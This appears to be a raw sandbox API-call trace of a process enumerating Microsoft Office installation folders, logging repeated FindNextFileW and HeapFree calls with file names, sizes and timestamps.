	[0065.608] FindNextFileW (in: hFindFile=0x5e0770, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x114a91d5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x114a91d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x11567da2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xbc7c1, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Wisp.thmx", cAlternateFileName="WISP~1.THM")) returned 1
	[0065.609] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0065.610] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x114f5747, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x114f5747, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Flattener", cAlternateFileName="FLATTE~1")) returned 1
	[0065.613] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0065.613] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x115da4b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x115da4b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fre", cAlternateFileName="")) returned 1
	[0065.614] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0065.614] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd1f5fb21, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b2abe77, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b2abe77, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Integration", cAlternateFileName="INTEGR~1")) returned 1
	[0065.624] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0065.624] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe2687c83, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee308135, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Licenses16", cAlternateFileName="LICENS~1")) returned 1
	[0066.903] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0066.904] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x983c2c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="loc", cAlternateFileName="")) returned 1
	[0066.904] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0066.904] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="mcxml", cAlternateFileName="")) returned 1
	[0067.389] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0067.389] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99dfc61, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99dfc61, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99dfc61, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="es-es", cAlternateFileName="")) returned 1
	[0067.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0067.390] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99473dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x99473dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x99473dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0067.390] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0067.390] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 1
	[0067.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0067.394] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1164cbcb, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="x-none", cAlternateFileName="")) returned 0
	[0067.394] FindClose (in: hFindFile=0x5e08b0 | out: hFindFile=0x5e08b0) returned 1
	[0067.394] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42839d0 | out: hHeap=0x4f0000) returned 1
	[0067.394] FindNextFileW (in: hFindFile=0x5e0470, lpFindFileData=0x325f584 | out: lpFindFileData=0x325f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83189ec0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3c29db74, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3c29db74, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Office16", cAlternateFileName="")) returned 1
	[0067.398] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0067.398] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1a96a42, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x1a96a42, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x1abcabc, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0xde78, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="BSTORM.VSL", cAlternateFileName="")) returned 1
	[0067.401] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0067.401] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x45a7036, ftCreationTime.dwHighDateTime=0x1d47c32, ftLastAccessTime.dwLowDateTime=0x45a7036, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x4619706, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1
	[0067.417] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0067.417] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xacf29e7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBSPAPR", cAlternateFileName="")) returned 1
	[0067.431] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0067.431] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xcc79af6a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xcc79af6a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xcc7c11d2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1fc48, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PUBWZINT.DLL", cAlternateFileName="")) returned 1
	[0067.434] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x436d638 | out: hHeap=0x4f0000) returned 1
	[0067.434] FindNextFileW (in: hFindFile=0x5e0970, lpFindFileData=0x325f08c | out: lpFindFileData=0x325f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xae70165, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xae70165, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xae70165, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x42ca, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ReviewRouting_Init.xsn", cAlternateFileName="REVIEW~1.XSN")) returned 1
	[0068.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0068.686] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1
	[0068.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0068.686] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4d440f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc4d440f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc4d440f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1
	[0068.686] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0068.686] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x12985c4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1
	[0068.687] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0068.687] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1295fc19, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1306082b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x393a40, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1
	[0068.689] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x435d630 | out: hHeap=0x4f0000) returned 1
	[0068.689] FindNextFileW (in: hFindFile=0x5e08b0, lpFindFileData=0x325f308 | out: lpFindFileData=0x325f308*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xeda173cc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeda173cc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb6c7584, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33860, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1
	[0069.657] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.657] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf480feb5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x18157e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18157e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="bg", cAlternateFileName="")) returned 1
	[0069.659] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.659] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca", cAlternateFileName="")) returned 1
	[0069.660] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.660] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs", cAlternateFileName="")) returned 1
	[0069.662] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.662] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da", cAlternateFileName="")) returned 1
	[0069.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.663] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x624ad43, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x624ad43, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de", cAlternateFileName="")) returned 1
	[0069.665] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.665] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4fe050, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DocumentFormat.OpenXml.dll", cAlternateFileName="DOCUME~1.DLL")) returned 1
	[0069.667] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.667] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es", cAlternateFileName="")) returned 1
	[0069.668] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.668] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8719376, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x8719376, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="et", cAlternateFileName="")) returned 1
	[0069.670] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.670] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf41cdbc1, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x69980f7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x69980f7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu", cAlternateFileName="")) returned 1
	[0069.672] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.672] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x13c40, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="EventSource.dll", cAlternateFileName="EVENTS~1.DLL")) returned 1
	[0069.674] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.674] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr", cAlternateFileName="")) returned 1
	[0069.675] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.675] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1e0a643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x675bda6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x675bda6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="gl", cAlternateFileName="")) returned 1
	[0069.683] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x439e640 | out: hHeap=0x4f0000) returned 1
	[0069.683] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c8cf9c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6e5cc4e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6e5cc4e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he", cAlternateFileName="")) returned 1
	[0070.108] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.109] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf43e3cb7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6c93006, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c93006, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hi", cAlternateFileName="")) returned 1
	[0070.111] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.111] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6b61d36, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b61d36, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr", cAlternateFileName="")) returned 1
	[0070.114] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.114] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1945af2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ebbef3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ebbef3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu", cAlternateFileName="")) returned 1
	[0070.117] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x42a39e0 | out: hHeap=0x4f0000) returned 1
	[0070.117] FindNextFileW (in: hFindFile=0x5e08f0, lpFindFileData=0x325eb94 | out: lpFindFileData=0x325eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc43098a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc43098a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="id", cAlternateFileName="")) returned 1
